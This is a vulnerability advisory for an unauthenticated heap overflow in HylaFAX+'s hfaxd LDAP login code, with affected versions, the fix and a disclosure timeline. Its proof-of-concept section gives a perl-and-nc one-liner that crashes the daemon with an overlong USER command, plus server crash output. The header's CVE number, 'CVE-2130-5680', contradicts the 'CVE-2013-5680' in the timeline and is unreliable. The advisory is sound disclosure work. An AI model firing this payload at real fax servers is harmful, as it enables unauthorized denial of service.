150 lines
No EOL
7 KiB
Text
150 lines
No EOL
7 KiB
Text
Details
|
||
===========================================================
|
||
Application: "HylaFAX+"
|
||
Version: 5.2.4 (April, 2008) through 5.5.3 (August 6, 2013)
|
||
Type: Daemon that manages a fax server via an FTP-like protocol.
|
||
Vendor / Maintainer: Lee Howard (faxguy _at_ howardsilvan.com)
|
||
Project Homepage: http://hylafax.sourceforge.net/
|
||
Vulnerability: CWE-120: Classic buffer overflow from unchecked network
|
||
traffic, resulting in heap corruption.
|
||
Vulnerability Discoverer: Dennis Jenkins (dennis.jenkins.75 _at_ gmail.com)
|
||
CVE reference: CVE-2130-5680, 2013-09-03
|
||
Solution Status: Fixed by vendor.
|
||
|
||
|
||
Description
|
||
===========================================================
|
||
"HylaFAX™ is an enterprise-class open-source system for sending and
|
||
receiving facsimiles as well as for sending alpha-numeric pages."
|
||
|
||
|
||
Vulnerability
|
||
===========================================================
|
||
HylaFAX+ contains a daemon, "hfaxd", that allows a "fax client" to
|
||
communicate with the fax server to submit fax jobs, query status,
|
||
configure modems, etc... The underlying wire protocol is a super-set
|
||
of classic FTP. "hfaxd" can be compiled with support for
|
||
authenticating users via LDAP, although usually, one just configured
|
||
hfaxd to use PAM. The code path for authenticating users via LDAP
|
||
allocates a 255-byte buffer (via the C++ "new" operator), and then
|
||
"strcats" user-supplied data buffered from the inbound FTP control
|
||
channel. Other code limits the amount of copied data to 506 bytes,
|
||
and truncates on NULL and "\n". Thus it is possible for an
|
||
UNAUTHENTICATED remote attacker to overflow the heap with a limited
|
||
character set. At a minimum, this can crash or hang a hfaxd forked
|
||
client. At this time, we have not attempted to construct an actual
|
||
exploit that leverages this security bug.
|
||
|
||
“hfaxd” typically runs as the “uucp” user, and forks on each new
|
||
connection. The heap overflow occurs in a forked child. Typically,
|
||
the child will simply hang. We theorize (but have not tested) that an
|
||
attacker could consume system resources by abusing the heap overflow.
|
||
Although this has not been confirmed, the possibility that an attacker
|
||
may be able to execute arbitrary code in the "hfaxd" context can not
|
||
be ruled out.
|
||
|
||
It should be noted that the principle author of HylaFAX+, Lee Howard,
|
||
did not write the LDAP code - it was supplied by a third party. After
|
||
I discovered the bug, Lee and I worked together to fix it, exchanging
|
||
code patches, performing peer-review and testing. All use of "strcat"
|
||
was replaced with "snprintf".
|
||
|
||
For the vulnerability to be exposed, one must first compile
|
||
HylaFAX+with LDAP support, and then configure LDAP in "hfaxd.conf".
|
||
Simply compiling with LDAP support alone is insufficient to produce a
|
||
vulnerable system.
|
||
|
||
Lee and I suspect that the number of HylaFAX+ installations with LDAP
|
||
support configured are extremely low, if not zero.
|
||
|
||
This vulnerability does not exist in other versions of HylaFAX.
|
||
HylaFAX+ was forked from code at hylafax.org in 2005, 3 years before
|
||
the problematic LDAP code was added to HylaFAX+
|
||
|
||
|
||
Solution
|
||
===========================================================
|
||
1) Update to HylaFAX+ v5.5.4
|
||
(http://hylafax.sourceforge.net/news/5.5.4.php) or later.
|
||
-OR-
|
||
2) Disable LDAP authentication (edit hfaxd.conf)
|
||
|
||
|
||
Proof-of-concept
|
||
===========================================================
|
||
1) Enable LDAP authentication on the hfaxd server. Note, a valid LDAP
|
||
server need not exist. Simply setting the “LDAPServerURI:” directive
|
||
in “/usr/local/lib/fax/hfaxd.conf” is sufficient.
|
||
|
||
# grep "^LDAPServerURI" /usr/local/lib/fax/hfaxd.conf
|
||
LDAPServerURI: ldap://127.0.0.1:389
|
||
|
||
2) Start (or restart) the hfaxd process. Run inside valgrind to see
|
||
the heap overwrite get caught.
|
||
# valgrind ./hfaxd/hfaxd -c /usr/local/lib/fax/hfaxd.conf -l
|
||
192.168.2.33 -q /var/spool/fax -i hylafax -d
|
||
|
||
3) Run this script from a client system. NOTE: If testing on the same
|
||
server as the host, don’t connect to “localhost” / 127.0.0.1. This
|
||
will not invoke LDAP (not sure why):
|
||
|
||
# # Test authentication without buffer overflow:
|
||
# perl -le 'print "USER ".("x"x10)."12345\nPASS test-ldap\nQUIT\n\n" '
|
||
| nc -q 5:5 192.168.2.33 4559
|
||
(seen on client)
|
||
nc: using stream socket
|
||
220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
|
||
331 Password required for xxxxxxxxxx12345.
|
||
530 Bind LDAP error -1: Can't contact LDAP server
|
||
530 Login incorrect.
|
||
|
||
4) Test again, but increase the amount of data in the “USER” command
|
||
to overwrite the heap:
|
||
|
||
# perl -le 'print "USER ".("x"x500)."12345\nPASS test-ldap\nQUIT\n\n"
|
||
' | nc -q 5:5 192.168.2.33 4559
|
||
(client)
|
||
220 localhost server (HylaFAX (tm) Version 5.5.4) ready.
|
||
331 Password required for
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx12345.
|
||
(connection hangs until ‘nc’ times out)
|
||
|
||
(server)
|
||
Valgrind on the server will spew lots of diagnostics, ending with this:
|
||
--15348-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11
|
||
(SIGSEGV) - exiting
|
||
--15348-- si_code=80; Faulting address: 0x0; sp: 0x402f3adf0
|
||
|
||
valgrind: the 'impossible' happened:
|
||
Killed by fatal signal
|
||
==15348== at 0x38062496: vgPlain_arena_malloc (m_mallocfree.c:291)
|
||
==15348== by 0x380294E4: vgMemCheck_new_block (mc_malloc_wrappers.c:263)
|
||
==15348== by 0x3802967A: vgMemCheck_malloc (mc_malloc_wrappers.c:301)
|
||
==15348== by 0x3809CEED: vgPlain_scheduler (scheduler.c:1665)
|
||
==15348== by 0x380AC5A5: run_a_thread_NORETURN (syswrap-linux.c:103)
|
||
|
||
|
||
|
||
|
||
Timeline
|
||
===========================================================
|
||
2013-07-22 - Vulnerability discovered
|
||
2013-07-22 - Project maintainer contacted
|
||
2013-07-23 - Reply from maintainer received; maintainer attempted to
|
||
contact original code author.
|
||
2013-07-27 - Project maintainer reports "No reply from original author
|
||
of vulnerable code section."
|
||
2013-07-27 - Project maintainer shares a proposed patch.
|
||
2013-07-28 - Discussions with maintainer on my desire to submit a
|
||
patch set to completely refactor entire section of code.
|
||
2013-07-30 - Patchset submitted to maintainer (via private email)
|
||
2013-07-30 - Project maintainer requests publication delay until at
|
||
least August 15, to allow time for Fedora to uptake new RPMs.
|
||
2013-07-31 - Project maintainer accepts patch set to refactor relevant code.
|
||
2013-08-07 - Project maintainer completes preliminary testing,
|
||
coordinates release of RPMs for Fedora.
|
||
2013-08-22 - Fedora pushing new RPMs.
|
||
2013-09-03 - Filed for CVE with MITRE. Granted: "CVE-2013-5680".
|
||
2013-09-30 - Composed this notice, shared draft with project
|
||
maintainer for feedback.
|
||
2013-09-30 - Public notice to "bugtraq". |